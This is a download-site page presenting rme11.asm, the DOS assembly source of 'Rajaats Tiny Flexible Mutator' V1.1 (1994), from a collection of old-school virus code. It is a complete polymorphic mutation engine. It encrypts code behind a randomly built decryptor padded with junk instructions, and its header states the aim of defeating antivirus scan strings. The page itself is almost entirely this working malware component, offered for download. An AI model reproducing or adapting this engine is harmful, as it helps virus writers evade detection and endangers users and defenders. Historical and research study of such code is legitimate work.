⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rme11.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;------------------------------------------------------------------------------
;
; Rajaats Tiny Flexible Mutator (RTFM) V1.1 (C) 1994 by Rajaat
;
; Purpose : making it impossible to use scan strings
;
; Input :
;       DS:SI   = piece of code to encrypt
;       ES:SI   = place of decryptor+encrypted code
;       CX      = length of code (include the mutator (mut_len))
;       BX      = offset of decryptor in file
;       AX      = flag bits
;                       0 = 1 do not use junk code
; Output :
;       DS:DX   = place of decryptor+encrypted code
;       CX      = length of encrypted code+decryptor
;       BP      = preserved
;       Other registers might be trashed
;
; History :
;       1.0     initial version
;       1.1     the decrease counter can get an add or sub
;               the increase pointer can get an add or sub
;               added random byte operation with one register as trash function
;
;------------------------------------------------------------------------------
SMART
JUMPS

_text           segment 'text'
                assume cs:_text

.radix 16

                public mut_top
                public mut_bottom
                public mut_len
                public rnd_init
                public rnd_get
                public mutate

dos_get_time    equ 2c
dos_get_date    equ 2a

mut_bottom      = $
reg             enum    _ax,_cx,_dx,_bx,_sp,_bp,_si,_di

seed            dw 0
count           dw 0
ofs             dw 0
dest            dw 0
indexbyte       db 00000000b
countbyte       db 00000000b
process         db 00000000b    ; bit 0 : 1 = count register set up
                                ;     1 : 1 = index register set up
                                ;     2 : 1 = don't use junk code

decraddr        dw 0
loopaddr        dw 0

opertab         db 30,0,28
trash           equ $
                cmc
                clc
                stc
                nop

mutate:         push bp
                push ds
                push es
                push si
                call mut_delta
mut_delta:      pop bp
                sub bp,offset mut_delta
                mov byte ptr cs:[process][bp],0
                mov byte ptr cs:[indexbyte][bp],0
                mov byte ptr cs:[countbyte][bp],0
                mov word ptr cs:[count][bp],cx
                mov word ptr cs:[ofs][bp],bx
                mov word ptr cs:[dest][bp],di
                test al,1
                jnz usejunk
                or byte ptr cs:[process][bp],4
usejunk:        call rnd_init
setaction:      mov al,byte ptr cs:[process][bp]
                and al,3
                cmp al,3
                jz setregsok
                jmp setregs
setregsok:      call insert_trash
                mov word ptr cs:[loopaddr][bp],di
                mov ax,802e
                stosw
getoper:        call rnd_get
                and ax,3
                or al,al
                jz getoper
                mov bx,ax
                add bx,bp
                push ds
                push cs
                pop ds
                lea si,opertab[bx-1]
                lodsb
                pop ds
                mov byte ptr cs:[action][bp],al
                cmp al,30
                jz noaddsubflip
                xor byte ptr cs:[action][bp],28
noaddsubflip:   add al,byte ptr cs:[indexbyte][bp]
                test al,4
                jnz toomuch
                xor al,6
toomuch:        xor al,2
                stosb
                call rnd_get
                stosb
                push ax
                call insert_trash
                call rnd_get
                test al,1
                jnz ptrinc
                test al,2
                jnz ptrsub
                mov ax,0c083
                add ah,byte ptr cs:[indexbyte][bp]
                stosw
                mov al,01
                stosb
                jmp makecount
ptrsub:         mov ax,0e883
                add ah,byte ptr cs:[indexbyte][bp]
                stosw
                mov al,0ffh
                stosb
                jmp makecount
ptrinc:         mov al,40
                add al,byte ptr cs:[indexbyte][bp]
                stosb
makecount:      call insert_trash
                call rnd_get
                test al,1
                jnz countdec
                test al,2
                jnz countsub
                mov ax,0c083
                add ah,byte ptr cs:[countbyte][bp]
                stosw
                mov al,0ff
                stosb
                jmp makeloop
countsub:       mov ax,0e883
                add ah,byte ptr cs:[countbyte][bp]
                stosw
                mov al,01
                stosb
                jmp makeloop
countdec:       mov al,48
                add al,byte ptr cs:[countbyte][bp]
                stosb
makeloop:       mov al,75
                stosb
                mov ax,word ptr cs:[loopaddr][bp]
                sub ax,di
                dec ax
                stosb
                call insert_trash
                mov ax,di
                sub ax,word ptr cs:[dest][bp]
                add ax,word ptr cs:[ofs][bp]
                push di
                mov di,word ptr cs:[decraddr][bp]
                stosw
                pop di
                pop ax
                xchg al,ah
                pop si
                mov cx,word ptr cs:[count][bp]
encrypt:        lodsb
action          equ $
                db 0,0e0
                stosb
                loop encrypt
                mov cx,di
                mov dx,word ptr cs:[dest][bp]
                sub cx,dx
                pop es
                pop ds
                pop bp
                ret

setregs:        call insert_trash
                call rnd_get
                test al,1
                jnz firstcount
                testflag byte ptr cs:[process][bp],2
                jnz return
                setflag byte ptr cs:[process][bp],2
                call set_index
                jmp setaction
firstcount:     testflag byte ptr cs:[process][bp],1
                jnz return
                setflag byte ptr cs:[process][bp],1
                call set_count
return:         jmp setaction

set_index:      call rnd_get
                and al,1
                or al,6
                test ah,1
                jz nobx
                mov al,_bx
nobx:           cmp al,byte ptr cs:[countbyte][bp]
                jz set_index
                mov byte ptr cs:[indexbyte][bp],al
                add al,0b8
                stosb
                mov word ptr cs:[decraddr][bp],di
                stosw
                ret

set_count:      call rnd_get
                and al,7
                cmp al,byte ptr cs:[indexbyte][bp]
                jz set_count
                cmp al,_sp
                jz set_count
                mov byte ptr cs:[countbyte][bp],al
                add al,0b8
                stosb
                mov ax,word ptr cs:[count][bp]
                stosw
                ret

insert_trash:   test byte ptr cs:[process][bp],4
                jnz trasher
                ret
trasher:        call rnd_get
                test ah,1
                jnz specialtrash
                and ax,3
                or ax,ax
                jz trash_done
                mov cx,ax
more_trash:     call rnd_get
                and ax,3
                lea bx,trash[bp]
                add bx,ax
                mov al,byte ptr cs:[bx]
                stosb
                loop more_trash
trash_done:     ret
specialtrash:   call rnd_get
                and al,7
                cmp al,_sp
                jz specialtrash
                cmp al,byte ptr cs:[indexbyte][bp]
                je specialtrash
                cmp al,byte ptr cs:[countbyte][bp]
                je specialtrash
                test ah,1
                jz domov
                test ah,2
                jz doinc
                test ah,4
                jz dodec
                mov al,083
                stosb
regtrash:       call rnd_get
                mov ah,al
                and al,7
                cmp al,_sp
                jz regtrash
                cmp al,byte ptr cs:[indexbyte][bp]
                jz regtrash
                cmp al,byte ptr cs:[countbyte][bp]
                jz regtrash
                mov al,ah
                or al,0c0
                stosb
                call rnd_get
                stosb
                ret
dodec:          add al,8
doinc:          add al,40
                stosb
                ret
domov:          add al,0b8
storeit:        stosb
                call rnd_get
                stosw
                ret

rnd_init:       mov ah,dos_get_time
                int 21
                xor cx,dx
                mov word ptr cs:[seed][bp],cx
                mov ah,dos_get_date
                int 21
                mov cl,al
                rcr dx,cl
                not dx
                sbb word ptr cs:[seed][bp],dx
                ret
rnd_get:        push bx
                mov bx,word ptr cs:[seed][bp]
                in al,40
                xchg ah,al
                in al,40
                xor ax,bx
                sbb ax,bx
                ror ax,1
                mov word ptr cs:[seed][bp],ax
                pop bx
                ret

                db '[RTFM]'

mut_top         = $
mut_len         = mut_top-mut_bottom+0fh

_text           ends
end

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -